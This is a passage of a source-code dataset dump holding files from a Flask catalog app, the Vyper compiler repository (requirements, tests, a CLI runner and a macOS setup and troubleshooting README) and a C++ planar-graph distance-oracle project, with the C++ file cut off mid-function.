you prefer. \n\nTo add your own styling, open up the static folder and change the styles.css file as desired. Remember to include the styling link in your header if you add any new templates or change the styling.css name.\n\nFeel free to add your own styling and launch your website publically! " }, { "alpha_fraction": 0.7472353577613831, "alphanum_fraction": 0.7472353577613831, "avg_line_length": 36.29411697387695, "blob_id": "4c8ab90ae10cfdab48f32e7ee4a36c27c9b8a209", "content_id": "cac8acda3c8947351c333ddb47f9d4d1458684fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 633, "license_type": "no_license", "max_line_length": 73, "num_lines": 17, "path": "/form.py", "repo_name": "aman-agrawala/Catalog-App-Postgresql", "src_encoding": "UTF-8", "text": "from flask_wtf import Form\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\n\n\nclass newItemForm(Form):\n name = StringField('Name', validators=[DataRequired()])\n description = StringField('Description', validators=[DataRequired()])\n picture = StringField('Picture', validators=[DataRequired()])\n\nclass editItemForm(Form):\n name = StringField('Name', validators=[DataRequired()])\n description = StringField('Description', validators=[DataRequired()])\n picture = StringField('Picture', validators=[DataRequired()])\n\nclass deleteItemForm(Form):\n submit = SubmitField('Submit')" }, { "alpha_fraction": 0.5977050065994263, "alphanum_fraction": 0.6284171342849731, "avg_line_length": 31.922222137451172, "blob_id": "42bab8acd4f7a2c1f77128c8a6456d09b35d07f5", "content_id": "bf3d80b0b643d7710bc6fbfaa632cb375b263e3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2963, "license_type": "no_license", "max_line_length": 78, "num_lines": 90, "path": "/catalogPopulator.py", "repo_name": "aman-agrawala/Catalog-App-Postgresql", "src_encoding": "UTF-8", "text": "# Imports to use database and modify it\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, User, Category, Item\n\nengine = create_engine('postgresql+psycopg2://grader:grader@localhost/grader')\n\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\n# A DBSession() instance establishes all conversations with the database\n# and represents a \"staging zone\" for all the objects loaded into the\n# database session object. Any change made against the objects in the\n# session won't be persisted into the database until you call\n# session.commit(). If you're not happy about the changes, you can\n# revert all of them back to the last commit by calling\n# session.rollback()\n\nsession = DBSession()\n\n# Create dummy user\nUser1 = User(name='Robo Barista',\n email=\"[email protected]\",\n picture='https://pbs.twimg.com/profile_image\\\n s/2671170543/18debd694829ed78203a5a36dd364160_\\\n 400x400.png')\nsession.add(User1)\nsession.commit()\n\ncategory1 = Category(name='Soccer')\nsession.add(category1)\nsession.commit()\n\nitem1 = Item(name='Soccer Ball',\n description='A standard soccer ball',\n picture='https://encrypted-tbn3.gstat\\\n ic.com/images?q=tbn:ANd9GcQvJXluqaTvD\\\n 8TKwbtY-fYlEeOE3xA6ISKbw9xmnrrXBjjrqs\\\n CoKuzztA',\n user=User1,\n category=category1)\nsession.add(item1)\nsession.commit()\n\n\nitem2 = Item(name='Barcelona Jersey',\n description='World famous Barcelona\\\n Jersey',\n picture='https://encrypted-tbn2.gst\\\n atic.com/images?q=tbn:ANd9GcS4hndNU\\\n wDaOxtJEdqn5G1o1JKy_fDpGGEDj_37ArOM\\\n Cquy0r6BrfD9RX0',\n user=User1,\n category=category1)\nsession.add(item2)\nsession.commit()\n\n\ncategory2 = Category(name='Basketball')\nsession.add(category2)\nsession.commit()\n\nitem3 = Item(name='Basketball',\n description='A standard Basketball',\n picture='https://encrypted-tbn3.gsta\\\n tic.com/images?q=tbn:ANd9GcTN_ULGYt9\\\n ZA4NXX4XqKUwrdjGaOWEX0qwYH-S2uB_lYQmZ\\\n A_LsGzt7',\n user=User1,\n category=category2)\nsession.add(item3)\nsession.commit()\n\ncategory3 = Category(name='Baseball')\nsession.add(category3)\nsession.commit()\n\nitem4 = Item(name='Baseball',\n description=' A standard baseball',\n picture='https://upload.wikimedia\\\n .org/wikipedia/en/1/1e/Baseball_(cr\\\n op).jpg',\n user=User1,\n category=category3)\nsession.add(item4)\nsession.commit()\n\nprint \"added items!\"\n" } ]
5
ltfschoen/vyper
https://github.com/ltfschoen/vyper
b121cf1f320f852b7997b0d54eaff5e68163e66e
f68af5730516011007e2546ff825b881e94f030f
2f4ae73c68637306c878a5234fc3b81950de8854
refs/heads/master
2020-03-11T02:42:28.688320
2018-04-17T12:42:59
2018-04-17T12:42:59
129,726,567
0
0
MIT
2018-04-16T10:34:57
2018-04-16T08:01:26
2018-04-16T10:29:53
null
[ { "alpha_fraction": 0.54347825050354, "alphanum_fraction": 0.695652186870575, "avg_line_length": 15.29411792755127, "blob_id": "bcdf1f8d22a53fb36c5b04db12858e093c500915", "content_id": "1ea0813101482dead91b33d9f740a602432f5519", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 276, "license_type": "permissive", "max_line_length": 22, "num_lines": 17, "path": "/requirements-mac.txt", "repo_name": "ltfschoen/vyper", "src_encoding": "UTF-8", "text": "bumpversion\neth-testrpc>=1.3.3\nethereum==2.3.1\nflaky>=3.3.0\nflake8==3.4.1\nhypothesis>=3.31.2\npy-geth==1.10.2\npytest>=3.2.1\npytest-mock==1.*\npytest-pythonpath>=0.3\npytest-watch==4.*\npytest-xdist==1.*\npytest-cov==2.5.1\npytest-runner==4.2\npy-evm>=0.2.0a12\ntox>=1.8.0\nwhen-changed" }, { "alpha_fraction": 0.6894198060035706, "alphanum_fraction": 0.7098976373672485, "avg_line_length": 31.55555534362793, "blob_id": "194e3d5e01019e71cb4772078545d1e131c4719b", "content_id": "97c7d6385456008ea4f9ca66c91146683c432df6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 293, "license_type": "permissive", "max_line_length": 62, "num_lines": 9, "path": "/vyper/__init__.py", "repo_name": "ltfschoen/vyper", "src_encoding": "UTF-8", "text": "import sys\n\nfrom pkg_resources import get_distribution\nif (sys.version_info.major, sys.version_info.minor) < (3, 6):\n # Can't be tested, as our test harness is using python3.6.\n raise Exception(\"Requires python3.6+\") # pragma: no cover\n\n\n__version__ = get_distribution('vyper').version\n" }, { "alpha_fraction": 0.6598101258277893, "alphanum_fraction": 0.6772152185440063, "avg_line_length": 23.30769157409668, "blob_id": "b28ede14177342b0042cdb4c64fc0b2f93595878", "content_id": "7249e694965d0ef903bf757db1205e0535ffb9f9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 632, "license_type": "permissive", "max_line_length": 63, "num_lines": 26, "path": "/tests/parser/functions/test_block.py", "repo_name": "ltfschoen/vyper", "src_encoding": "UTF-8", "text": "def test_block_number(get_contract_with_gas_estimation, chain):\n chain.mine(1)\n\n block_number_code = \"\"\"\n@public\ndef block_number() -> int128:\n return block.number\n\"\"\"\n c = get_contract_with_gas_estimation(block_number_code)\n assert c.block_number() == 2\n\n\ndef test_blockhash(get_contract_with_gas_estimation, chain):\n chain.mine(1)\n\n block_number_code = \"\"\"\n@public\ndef prev() -> bytes32:\n return block.prevhash\n\n@public\ndef previous_blockhash() -> bytes32:\n return blockhash(block.number - 1)\n\"\"\"\n c = get_contract_with_gas_estimation(block_number_code)\n assert c.prev() == c.previous_blockhash()\n" }, { "alpha_fraction": 0.5202568173408508, "alphanum_fraction": 0.5684046149253845, "avg_line_length": 35.025001525878906, "blob_id": "ae606b539dbe529d0a138105a98ef62da1ae2377", "content_id": "8e0abf72e33a7adb7de8c21b726280c33733f358", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11527, "license_type": "permissive", "max_line_length": 281, "num_lines": 320, "path": "/README_MAC.md", "repo_name": "ltfschoen/vyper", "src_encoding": "UTF-8", "text": "# README\n\n---\nVyper Setup on macOS WITH or WITHOUT Docker\n---\n\nIncludes Troubleshooting tips and information about Vyper\n\n# Table of Contents\n * [Chapter 0 - Setup WITHOUT Docker (including Troubleshooting)](#chapter-0)\n * [Chapter 1 - Setup WITH Docker](#chapter-1)\n * [Chapter 2 - Docker Containers and Images (Show/Delete)](#chapter-2)\n * [Chapter 3 - About Vyper](#chapter-3)\n * [Chapter 4 - Unit Tests](#chapter-4)\n\n## Chapter 0 - Setup WITHOUT Docker <a id=\"chapter-0\"></a>\n\n* Install [PyEnv](https://github.com/pyenv/pyenv)\n* Clone the repo\n ```bash\n git clone https://github.com/ethereum/vyper.git\n cd vyper;\n make;\n make test\n ```\n\n* Troubleshooting\n * If you get an error such as:\n ```\n File \"/private/var/folders/8q/kll0jy354kj5gxrv9n0pwx300000gn/T/easy_install-61r1e_jz/eth-hash-0.1.2/.eggs/setuptools_markdown-0.2-py3.6.egg/setuptools_markdown.py\", line 22, in long_description_markdown_filename\n File \"/private/var/folders/8q/kll0jy354kj5gxrv9n0pwx300000gn/T/easy_install-61r1e_jz/eth-hash-0.1.2/.eggs/pypandoc-1.4-py3.6.egg/pypandoc/__init__.py\", line 66, in convert\n RuntimeError: Format missing, but need one (identified source as text as no file with that name was found).\n make: *** [Makefile:4: init] Error 1\n ```\n\n * And then you try fixing it by installing an older version of eth-hash with `pip3 install eth-hash==0.1.1` but it creates a new error:\n ```\n File \"/private/var/folders/8q/kll0jy354kj5gxrv9n0pwx300000gn/T/easy_install-t0gzq4pa/hexbytes-0.1.0/.eggs/setuptools_markdown-0.2-py3.6.egg/setuptools_markdown.py\", line 22, in long_description_markdown_filename\n File \"/private/var/folders/8q/kll0jy354kj5gxrv9n0pwx300000gn/T/easy_install-t0gzq4pa/hexbytes-0.1.0/.eggs/pypandoc-1.4-py3.6.egg/pypandoc/__init__.py\", line 66, in convert\n RuntimeError: Format missing, but need one (identified source as text as no file with that name was found).\n make: *** [Makefile:4: init] Error 1\n ```\n \n * Then make sure you read and action the warning message about upgrading your old pip version\n ```\n You are using pip version 9.0.1, however version 10.0.0 is available.\n You should consider upgrading via the 'pip install --upgrade pip' command.\n ```\n\n * Upgrade pip with the following\n ```bash\n pip install --upgrade pip\n ```\n\n * Try installing pypandoc. It might show a warning about packages dependencies that are required by weren't found after upgrading pip\n ```bash\n $ pip3 install pypandoc==1.4\n ```\n\n ```\n Requirement already satisfied: wheel>=0.25.0 in /Users/Me/.pyenv/versions/3.6.2/lib/python3.6/site-packages (from pypandoc==1.4) (0.31.0)\n web3 4.1.0 requires eth-abi<2,>=1.0.0, which is not installed.\n web3 4.1.0 requires eth-account==0.1.0-alpha.2, which is not installed.\n web3 4.1.0 requires hexbytes<1.0.0,>=0.1.0, which is not installed.\n eth-tester 0.1.0b21 requires semantic_version<3.0.0,>=2.6.0, which is not installed.\n cytoolz 0.9.0.1 requires toolz>=0.8.0, which is not installed.\n cryptography 2.2.2 requires asn1crypto>=0.21.0, which is not installed.\n cryptography 2.2.2 requires cffi>=1.7, which is not installed.\n cryptography 2.2.2 requires idna>=2.1, which is not installed.\n cryptography 2.2.2 requires six>=1.4.1, which is not installed.\n aiohttp 2.3.10 requires async_timeout>=1.2.0, which is not installed.\n aiohttp 2.3.10 requires chardet, which is not installed.\n aiohttp 2.3.10 requires idna-ssl>=1.0.0, which is not installed.\n aiohttp 2.3.10 requires multidict>=4.0.0, which is not installed.\n aiohttp 2.3.10 requires yarl>=1.0.0, which is not installed.\n requests 2.18.4 requires certifi>=2017.4.17, which is not installed.\n requests 2.18.4 requires chardet<3.1.0,>=3.0.2, which is not installed.\n requests 2.18.4 requires idna<2.7,>=2.5, which is not installed.\n requests 2.18.4 requires urllib3<1.23,>=1.21.1, which is not installed.\n ```\n\n * Install the missing dependencies\n\n ```bash\n pip3 install eth-abi==1.0.0 eth-account==0.1.0-alpha.2 hexbytes==0.1.0 semantic_version==2.6.0 toolz==0.8.0 asn1crypto==0.21.0 cffi==1.7 idna==2.5 six==1.4.1 async_timeout==1.2.0 idna-ssl==1.0.0 multidict==4.0.0 yarl==1.0.0 certifi==2017.4.17 chardet==3.0.2 urllib3==1.21.1\n ```\n\n * Run `make` worked successfully\n\n ```bash\n make\n ```\n\n * Try `make test`\n\n ```bash\n make test\n ```\n\n * Encountered error\n\n ```\n Running coincurve-7.1.0/setup.py -q bdist_egg --dist-dir /var/folders/8q/kll0jy354kj5gxrv9n0pwx300000gn/T/easy_install-ejiorwyq/coincurve-7.1.0/egg-dist-tmp-ihoar1u5\n build/temp.macosx-10.12-x86_64-3.6/_libsecp256k1.c:429:10: fatal error: \n 'secp256k1_ecdh.h' file not found\n #include <secp256k1_ecdh.h>\n ^~~~~~~~~~~~~~~~~~\n 1 error generated.\n error: Setup script exited with error: command 'clang' failed with exit status 1\n make: *** [Makefile:7: test] Error 1\n ```\n\n * Tried changing to Coincurve 7.0.0 instead of 7.1.0\n ```\n pip3 install coincurve==7.0.0\n ```\n\n * New error\n ```\n File \"/Users/Me/.pyenv/versions/3.6.2/lib/python3.6/site-packages/pkg_resources/__init__.py\", line 719, in find\n raise VersionConflict(dist, req)\n pkg_resources.VersionConflict: (six 1.4.1 (/Users/Me/.pyenv/versions/3.6.2/lib/python3.6/site-packages), Requirement.parse('six>=1.10.0'))\n make: *** [Makefile:7: test] Error 1\n ```\n\n * Fixed with\n ```\n pip3 install six==1.10.0\n ```\n\n * Tried running `make test` again and it finally worked with all tests passing\n\n * Check what packages I had installed:\n\n ```bash\n $ pip3 list --local\n Package Version \n ---------------- ---------\n aiohttp 2.3.10 \n asn1crypto 0.21.0 \n async-lru 0.1.0 \n async-timeout 1.2.0 \n attrdict 2.0.0 \n certifi 2017.4.17\n cffi 1.7.0 \n chardet 3.0.2 \n coincurve 7.0.0 \n cryptography 2.2.2 \n cytoolz 0.9.0.1 \n eth-abi 1.0.0 \n eth-account 0.1.0a2 \n eth-bloom 1.0.0 \n eth-hash 0.1.1 \n eth-keyfile 0.5.1 \n eth-keys 0.2.0b3 \n eth-rlp 0.1.0 \n eth-tester 0.1.0b21 \n eth-utils 1.0.2 \n hexbytes 0.1.0 \n idna 2.5 \n idna-ssl 1.0.0 \n lru-dict 1.1.6 \n multidict 4.0.0 \n pip 10.0.0 \n py-ecc 1.4.2 \n py-evm 0.2.0a14 \n pycparser 2.18 \n pycryptodome 3.6.1 \n pyethash 0.1.27 \n pypandoc 1.4 \n requests 2.18.4 \n rlp 0.6.0 \n scrypt 0.8.6 \n semantic-version 2.6.0 \n setuptools 28.8.0 \n six 1.10.0 \n toolz 0.8.0 \n trie 1.3.4 \n urllib3 1.21.1 \n vyper 0.0.4 \n web3 4.1.0 \n websockets 4.0.1 \n wheel 0.31.0 \n yarl 1.0.0 \n ```\n\n## Chapter 1 - Setup WITH Docker <a id=\"chapter-1\"></a>\n\n* Install and Run Docker\n* Fork my repo https://github.com/ltfschoen/vyper\n* Terminal #1 - Clone the fork\n\n ```bash\n cd ~;\n git clone https://github.com/ltfschoen/vyper;\n cd vyper;\n ``` \n\n* Terminal #1 - Build the custom DockerfileMac. This allows file changes in the Docker container to be synchronised with your host machine and vice versa.\n\n ```bash\n docker build -t vyper:1 . -f DockerfileMac\n ```\n\n* Terminal #2 - Create another Bash terminal window/tab in the same folder\n\n* Terminal #2 - Open the directory in a Text Editor or IDE\n\n* Terminal #1 - Start a shell session in the Docker container that you just created.\n \n ```bash\n docker run -it -v $(pwd):/code vyper:1 /bin/bash\n ```\n\n* Terminal #1 (within Docker Container shell session) - Compile a Vyper contract\n ```bash\n vyper examples/crowdfund.v.py\n ```\n\n* Make changes to examples/crowdfund.v.py in the Text Editor. The changes will also be reflected in the Docker Container.\n\n* Terminal #1 - Repeat the previous command to try and re-compile the Vyper contract\n\n## Chapter 2 - Docker Containers and Images (Show/Delete) <a id=\"chapter-2\"></a>\n\n* List all Docker containers \n ```bash\n docker ps -a\n ```\n\n* Stop all running containers. \n ```bash\n docker stop $(docker ps -aq)\n ```\n\n* Remove a specific Docker container\n ```bash\n docker rm <CONTAINER_ID>\n ```\n* Remove a docker container \n ```bash\n docker rm $(docker ps -aq)\n ```\n\n* Remove all Docker images\n ```bash\n docker rmi $(docker images -q)\n ```\n\n## Chapter 3 - About Vyper <a id=\"chapter-3\"></a>\n\n* Vyper Online Compilter (to bytecode or LLL) https://vyper.online/\n\n* Vyper Features (vs Solidity)\n * Asserts instead of Modifiers\n * Pros\n * No arbitrary pre-conditions, no post-conditions\n * No arbitrary state changes\n * Less execution jumps for easier auditability\n * No Class Inheritance\n * No Function or Operator Overloading \n * Pros\n * Safer since mitigates funds being stolen \n * No Recursive Calling or Infinite-length Loops\n * Pros \n * Avoids gas limit attacks since gas limit upper bound may be set\n * `.v.py` File Extension so Python syntax highlighting may be used\n * All Vyper syntax is valid Python 3 syntax, but not all Python 3 functionality is available in Vyper\n * Reference\n * http://viper.readthedocs.io/en/latest/\n\n\n* Vyper Syntax where Files `.v.py` are a Smart Contract \n * Class-like with:\n * State Variable\n * Usage: Permanently stored in contract Storage\n * Example\n ```python\n storedData: int128\n ```\n * [Types, Visibility, Getters](http://viper.readthedocs.io/en/latest/types.html#types)\n * TODO\n * Functions\n * Usage: \n * Executable units in contract\n * Internally or Externally\n * Visibility-and-getters differ toward other contracts\n * Decorated with `@public` or `@private`\n * Example\n ```python\n @public\n @payable\n def bid(): // Function\n // ...\n ```\n * Events\n * Usage\n * Searchable by Clients and Light Clients since Events are logged in specially indexed data structures\n * Declared before global declarations and Function definitions\n * Example\n ```python\n Payment: event({amount: int128, arg2: indexed(address)})\n\n total_paid: int128\n\n @public\n def pay():\n self.total_paid += msg.value\n log.Payment(msg.value, msg.sender)\n ```\n * Structs\n * TODO\n\n## Chapter 4 - Unit Tests <a id=\"chapter-4\"></a>\n\n```bash\npython setup.py test\npip3 install ethereum==2.3.1 pytest pytest-cov pytest-runner\npytest\n```" }, { "alpha_fraction": 0.5636363625526428, "alphanum_fraction": 0.569183349609375, "avg_line_length": 35.875, "blob_id": "e3ddf46a77ced05c6407f81a7ba3b9d8a1308635", "content_id": "b0e4d4d8612953341c84361c6471712a8a7ddcc9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3245, "license_type": "permissive", "max_line_length": 128, "num_lines": 88, "path": "/bin/vyper-run", "repo_name": "ltfschoen/vyper", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3.6\nimport argparse\nimport json\nimport vyper\n\nfrom pprint import pprint\nfrom ethereum.tools import tester\nfrom vyper import compiler\n\n\nparser = argparse.ArgumentParser(description='Vyper {0} quick CLI runner'.format(vyper.__version__))\nparser.add_argument('input_file', help='Vyper sourcecode to run')\nparser.add_argument('call_list', help='call list, without parameters: func, with parameters func(1, 2, 3). Semicolon separated')\nparser.add_argument('-i', help='init args, comma separated', default='', dest='init_args')\n\nargs = parser.parse_args()\n\n\ndef cast_types(args, abi_signature):\n newargs = args.copy()\n for idx, abi_arg in enumerate(abi_signature['inputs']):\n if abi_arg['type'] in ('int128', 'uint256'):\n newargs[idx] = int(args[idx])\n return newargs\n\n\nif __name__ == '__main__':\n\n with open(args.input_file) as fh:\n code = fh.read()\n init_args = args.init_args.split(',') if args.init_args else []\n tester.languages['vyper'] = compiler.Compiler()\n s = tester.Chain() # initialize test chain\n\n # Built list of calls to make.\n calls = []\n for signature in args.call_list.split(';'):\n name = signature.strip()\n args = []\n\n if '(' in signature:\n start_pos = signature.find('(')\n name = signature[:start_pos]\n args = signature[start_pos+1:-1].split(',')\n args = [arg.strip() for arg in args]\n args = [arg for arg in args if len(arg) > 0]\n\n calls.append((name, args))\n\n abi = compiler.mk_full_signature(code)\n\n # Format init args.\n if init_args:\n init_abi = next(filter(lambda func: func[\"name\"] == '__init__', abi))\n init_args = cast_types(init_args, init_abi)\n\n # Compile contract to chain.\n contract = s.contract(code, args=init_args, language='vyper')\n\n # Execute calls\n for func_name, args in calls:\n if not hasattr(contract, func_name):\n print('\\n No method {} found, skipping.'.format(func_name))\n continue\n\n print('\\n* Calling {}({})'.format(func_name, ','.join(args)))\n func_abi = next(filter(lambda func: func[\"name\"] == func_name, abi))\n if len(args) != len(func_abi['inputs']):\n print('Argument mismatch, please provide correct arguments.')\n break\n\n print('- Returns:')\n cast_args = cast_types(args, func_abi)\n pprint('{}'.format(getattr(contract, func_name)(*cast_args)))\n\n # Detect any new log events, and print them.\n event_data = contract.translator.event_data\n contract_log_ids = event_data.keys()\n receipt = s.head_state.receipts[-1]\n logs = [log for log in receipt.logs\n if log.topics[0] in contract_log_ids and\n log.address == contract.address]\n print('- Logs:')\n if not logs:\n print(' No events found.')\n for log in logs:\n event_info = event_data[log.topics[0]]\n pprint(contract.translator.decode_event(log.topics, log.data))\n" } ]
5
netkuba/vertex-label-oracles-implementation
https://github.com/netkuba/vertex-label-oracles-implementation
bda6bc47686c9ab66fb1015526fe1a04a3b60e11
ca758025c58648b7fa60ce2dd0632054b6559634
3bf0c08fd253e4f7b88bef866719e3519d2ab061
refs/heads/master
2021-01-22T04:23:40.171842
2014-04-18T22:26:50
2014-04-18T22:26:50
102,266,225
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.483561635017395, "alphanum_fraction": 0.48630136251449585, "avg_line_length": 20.47058868408203, "blob_id": "e452649cb1dfe8f5cec2841797243dd46110fb17", "content_id": "6efab911440d336a39df0031ca0aea4d543800bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 730, "license_type": "no_license", "max_line_length": 70, "num_lines": 34, "path": "/src/graph.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _GRAPH_H_\n#define _GRAPH_H_\n\n#include \"precision.h\"\n#include <utility>\n#include <vector>\n\nusing std::vector;\nusing std::pair;\n\nstruct Graph { \n struct Edge {\n int v;\n W w;\n \n Edge(int v, W w) : v(v), w(w) {}\n };\n\n int n;\n vector< vector<Edge> > edges;\n\n Graph() : Graph(0, vector< pair<int, int> >(), vector<W>()) {};\n Graph(int n, vector< pair<int, int> > eedges, vector<W> weights) :\n n(n), edges(n) {\n for (int i=0; i<(int)eedges.size(); ++i) {\n int u = eedges[i].first, v = eedges[i].second;\n W w = weights[i];\n edges[u].push_back(Edge(v,w));\n edges[v].push_back(Edge(u,w));\n } \n }\n};\n\n#endif\n" }, { "alpha_fraction": 0.47780677676200867, "alphanum_fraction": 0.48041775822639465, "avg_line_length": 14.319999694824219, "blob_id": "42432164d963b919ed2c4f5d8771fd23f90b1c5c", "content_id": "f26cfd2df2d31367ca9d36af2f318ad2cbba26ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 383, "license_type": "no_license", "max_line_length": 41, "num_lines": 25, "path": "/src/find_union.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _FIND_UNION_H_\n#define _FIND_UNION_H_\n\n#include <vector>\nusing std::vector;\n\nstruct FindUnion {\n vector<int> p;\n \n FindUnion(int n) : p(n) {\n for (int i=0; i<n; ++i) p[i] = i;\n }\n\n int find(int v) {\n if (p[v] == v) return v;\n return p[v] = find(p[v]);\n }\n\n void unionn(int v, int u) {\n p[find(u)] = find(v);\n }\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7208706736564636, "alphanum_fraction": 0.7298335433006287, "avg_line_length": 36.19047546386719, "blob_id": "74a92b4187e491e9ad550586d492465f84193fdf", "content_id": "327f6daed3e6cb690fa46c50862a9b72e35c8fa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 781, "license_type": "no_license", "max_line_length": 225, "num_lines": 21, "path": "/Makefile", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "ALL= oracle_main\nCXX= g++\nCXXFLAGS= -std=c++11 -O3 -Wall\n//CXXFLAGS= -std=c++11 -ggdb -Wall -pg\n\nall: $(ALL)\n\nplanar.o: src/planar.cpp src/planar.h\n\t$(CXX) -c $(CXXFLAGS) src/planar.cpp\n\noracle_internal.o: src/oracle_internal.cpp src/oracle_internal.h src/planar.h\n\t$(CXX) -c $(CXXFLAGS) src/oracle_internal.cpp\n\nplanar_oracle.o: src/planar_oracle.cpp src/planar_oracle.h src/planar.h\n\t$(CXX) -c $(CXXFLAGS) src/planar_oracle.cpp\n\noracle_main: src/oracle_main.cpp src/oracle_general_3approx.h src/oracle_general_5approx.h src/oracle_general_approx.h src/oracle_naive.h src/oracle_tester.h src/full_planar_oracle.h planar.o planar_oracle.o oracle_internal.o\n\t$(CXX) -o oracle_main $(CXXFLAGS) src/oracle_main.cpp planar.o planar_oracle.o oracle_internal.o\n\nclean:\n\trm -f *.o $(ALL)\n" }, { "alpha_fraction": 0.4021751284599304, "alphanum_fraction": 0.41753560304641724, "avg_line_length": 25.864458084106445, "blob_id": "ebf456f9ce835b2b40f017a91a46f93b08e9c560", "content_id": "373749492c1fbf93748ab20a9654a3fdf1432c29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8919, "license_type": "no_license", "max_line_length": 99, "num_lines": 332, "path": "/src/oracle_internal.cpp", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#include \"oracle_internal.h\"\n#include \"planar.h\"\n\n#include <cassert>\n#include <queue>\n#include <cstdio>\n\nusing std::printf;\nusing std::priority_queue;\nusing std::pair;\nusing std::make_pair;\nusing std::greater;\nusing std::min;\nusing std::max;\n\nvoid\ngetDistances(\n const PlanarGraph& g,\n int u,\n vector<W> &dist) {\n \n dist = vector<W>(g.vs().size(), infinity);\n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n \n dist[u] = 0;\n queue.push(make_pair(0, u));\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n int u = curr.second;\n W d = curr.first;\n if (d != dist[u]) continue;\n for (int e: g.vs()[u].edges) {\n int v = g.opp(u, e);\n if (dist[v] > d + g.es()[e].w) {\n dist[v] = d + g.es()[e].w;\n queue.push(make_pair(dist[v], v));\n }\n }\n }\n\n}\n\npair<W, W>\ngetStretch(\n const PlanarGraph& g) { \n W minD = infinity, maxD = 0;\n vector<W> distance;\n getDistances(g, 0, distance);\n for (int i=1; i<(int)distance.size(); ++i) {\n maxD = max(maxD, distance[i]);\n }\n maxD *= 2;\n for (int i=0; i<(int)g.es().size(); ++i) {\n minD = min(minD, g.es()[i].w);\n }\n\n return make_pair(minD, maxD);\n}\n \nvoid\nextractSubgraph(\n const PlanarGraph& g,\n const vector<int>& parent,\n vector<int>& selection,\n PlanarGraph& subg,\n vector<int>& subparent,\n vector<int>& mapping,\n// three vectors fiiled with -1's\n vector<int>& vInd, \n vector<int>& eInd) {\n \n typedef PlanarGraph::Vertex Vertex;\n\n subg = PlanarGraph(1);\n mapping.clear();\n mapping.push_back(-1);\n\n for (int v: vInd) assert(v == -1);\n\n for (int v: selection) {\n vInd[v] = subg.vs().size();\n mapping.push_back(v);\n subg.vs().push_back(Vertex());\n }\n\n subparent = vector<int>(subg.vs().size(), -1);\n \n for (int vv: selection) {\n for (int e: g.vs()[vv].edges) {\n if (eInd[e] != -1) continue;\n\n int u = g.es()[e].u;\n int v = g.es()[e].v;\n bool su = vInd[u] != -1;\n bool sv = vInd[v] != -1;\n if (su && sv) {\n if (e == parent[u]) {\n subparent[vInd[u]] = subg.es().size();\n }\n if (e == parent[v]) {\n subparent[vInd[v]] = subg.es().size();\n }\n eInd[e] = subg.es().size();\n subg.add_edge(vInd[u], vInd[v], g.es()[e].w);\n } else if((e == parent[u]) && su) {\n subparent[vInd[u]] = subg.es().size();\n eInd[e] = subg.es().size();\n subg.add_edge(0, vInd[u], infinity);\n } else if ((e == parent[v]) && sv) {\n subparent[vInd[v]] = subg.es().size();\n eInd[e] = subg.es().size();\n subg.add_edge(0, vInd[v], infinity);\n }\n\n }\n }\n/*\n for (int vv: selection) {\n if (g.vs()[vv].edges.empty()) continue;\n\n int lastE = -1;\n int e = g.vs()[vv].edges[0], f = e;\n do {\n if (eInd[e] != -1) {\n if (lastE != -1) subg.eNext(vInd[vv], lastE) = eInd[e];\n lastE = eInd[e];\n }\n e = g.eNext(vv,e);\n } while (e != f);\n do {\n if (eInd[e] != -1) {\n if (lastE != -1) subg.eNext(vInd[vv], lastE) = eInd[e];\n lastE = eInd[e];\n }\n e = g.eNext(vv,e);\n } while (e != f);\n }\n \n\n vector<int> ePrev(subg.es().size(), -1);\n for (int e: subg.vs()[0].edges) {\n subg.eNext(0, e) = -1;\n\n int f = e, u = subg.opp(0, e);\n while (u != 0) {\n f = subg.eNext(u, f);\n u = subg.opp(u, f);\n }\n ePrev[e] = f;\n }\n\n int lastE = 0;\n for (int e: subg.vs()[0].edges) {\n int f = e;\n while ((subg.eNext(0, f) == -1)) {\n subg.eNext(0, f) = lastE;\n lastE = f;\n f = ePrev[f];\n }\n }\n if (!subg.vs()[0].edges.empty()) subg.eNext(0, subg.vs()[0].edges[0]) = lastE;\n*/\n\n if (subg.vs()[0].edges.empty() && subg.vs().size()>1) {\n subparent[vInd[0]] = subg.es().size();\n subg.add_edge(0, vInd[0], infinity);\n }\n/* \n subg.eNext(0, subparent[vInd[0]]) = subparent[vInd[0]];\n\n subg.eNext(vInd[0], subparent[vInd[0]]) = subg.eNext(vInd[0], subg.vs()[vInd[0]].edges[0]);\n subg.eNext(vInd[0], subg.vs()[vInd[0]].edges[0]) = subparent[vInd[0]];\n }\n*/\n for (int v: selection) {\n vInd[v] = -1;\n }\n for (int v: selection) {\n for (int e: g.vs()[v].edges) {\n eInd[e] = -1;\n }\n }\n\n return;\n}\n\nstatic void printEmbedded(PlanarGraph& pg) {\n for (int v=0; v<(int)pg.vs().size(); ++v) {\n printf(\"Vertex 